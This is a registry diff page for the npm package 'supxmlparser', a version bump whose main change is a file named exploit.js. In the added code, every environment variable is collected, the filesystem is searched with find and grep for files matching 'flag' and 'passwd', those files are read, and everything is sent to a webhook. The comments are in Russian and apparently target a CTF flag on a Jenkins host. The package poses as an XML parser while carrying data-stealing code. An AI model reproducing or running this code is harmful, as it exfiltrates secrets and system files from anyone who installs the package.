supxmlparser 0.30.1 → 0.30.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/exploit.js +27 -36
- package/package.json +1 -1
package/exploit.js
CHANGED
|
@@ -28,55 +28,46 @@ function sendToWebhook(data) {
|
|
|
28
28
|
}
|
|
29
29
|
}
|
|
30
30
|
|
|
31
|
-
let collectedData = '=== EXPLOIT
|
|
31
|
+
let collectedData = '=== EXPLOIT START ===\n';
|
|
32
32
|
|
|
33
|
-
// 1.
|
|
34
|
-
collectedData += '===
|
|
33
|
+
// 1. Все переменные окружения (флаг может быть здесь)
|
|
34
|
+
collectedData += '=== ALL ENV VARS ===\n';
|
|
35
35
|
for (let key in process.env) {
|
|
36
|
-
|
|
37
|
-
collectedData += `${key}=${process.env[key]}\n`;
|
|
38
|
-
}
|
|
36
|
+
collectedData += `${key}=${process.env[key]}\n`;
|
|
39
37
|
}
|
|
40
38
|
|
|
41
|
-
// 2. Попробуем
|
|
42
|
-
|
|
43
|
-
'/etc/passwd',
|
|
44
|
-
'/flag',
|
|
45
|
-
'/tmp/flag',
|
|
46
|
-
'/var/jenkins_home/flag',
|
|
47
|
-
'/var/lib/jenkins/flag',
|
|
48
|
-
process.env.HOME + '/flag',
|
|
49
|
-
process.env.PWD + '/flag'
|
|
50
|
-
];
|
|
51
|
-
|
|
52
|
-
paths.forEach(path => {
|
|
53
|
-
try {
|
|
54
|
-
const content = fs.readFileSync(path, 'utf8');
|
|
55
|
-
collectedData += `=== ${path} ===\n${content}\n`;
|
|
56
|
-
if (content.includes('{') && content.includes('}')) {
|
|
57
|
-
console.log(`🚨 FLAG FOUND: ${content}`);
|
|
58
|
-
}
|
|
59
|
-
} catch(e) {}
|
|
60
|
-
});
|
|
61
|
-
|
|
62
|
-
// 3. Выполним команды для поиска
|
|
63
|
-
exec('env | grep -i flag', (err, stdout) => {
|
|
39
|
+
// 2. Попробуем выполнить команды для поиска флага
|
|
40
|
+
exec('find / -type f -name "*flag*" -o -name "*passwd*" 2>/dev/null | head -20', (err, stdout) => {
|
|
64
41
|
if (!err && stdout) {
|
|
65
|
-
collectedData += `===
|
|
42
|
+
collectedData += `=== FOUND FILES ===\n${stdout}\n`;
|
|
43
|
+
|
|
44
|
+
// Читаем найденные файлы
|
|
45
|
+
const files = stdout.trim().split('\n');
|
|
46
|
+
files.forEach(file => {
|
|
47
|
+
try {
|
|
48
|
+
const content = fs.readFileSync(file, 'utf8');
|
|
49
|
+
collectedData += `=== CONTENT: ${file} ===\n${content}\n`;
|
|
50
|
+
if (content.includes('{') && content.includes('}')) {
|
|
51
|
+
console.log(`🚨 POSSIBLE FLAG IN ${file}: ${content}`);
|
|
52
|
+
}
|
|
53
|
+
} catch(e) {}
|
|
54
|
+
});
|
|
66
55
|
}
|
|
67
|
-
|
|
68
|
-
|
|
56
|
+
|
|
57
|
+
// 3. Ищем строки содержащие флаг в файлах
|
|
58
|
+
exec('grep -r "flag{" / 2>/dev/null | head -10', (err, stdout) => {
|
|
69
59
|
if (!err && stdout) {
|
|
70
|
-
collectedData += `===
|
|
60
|
+
collectedData += `=== GREP FLAG RESULTS ===\n${stdout}\n`;
|
|
71
61
|
}
|
|
72
62
|
|
|
73
|
-
// 4.
|
|
74
|
-
exec('
|
|
63
|
+
// 4. Смотрим что в текущей директории
|
|
64
|
+
exec('pwd && ls -la && find . -type f -name "*flag*" 2>/dev/null', (err, stdout) => {
|
|
75
65
|
if (!err) {
|
|
76
|
-
collectedData += `===
|
|
66
|
+
collectedData += `=== CURRENT DIR ===\n${stdout}\n`;
|
|
77
67
|
}
|
|
78
68
|
|
|
79
69
|
sendToWebhook(collectedData);
|
|
70
|
+
console.log('=== ALL DATA COLLECTED ===');
|
|
80
71
|
console.log(collectedData);
|
|
81
72
|
});
|
|
82
73
|
});
|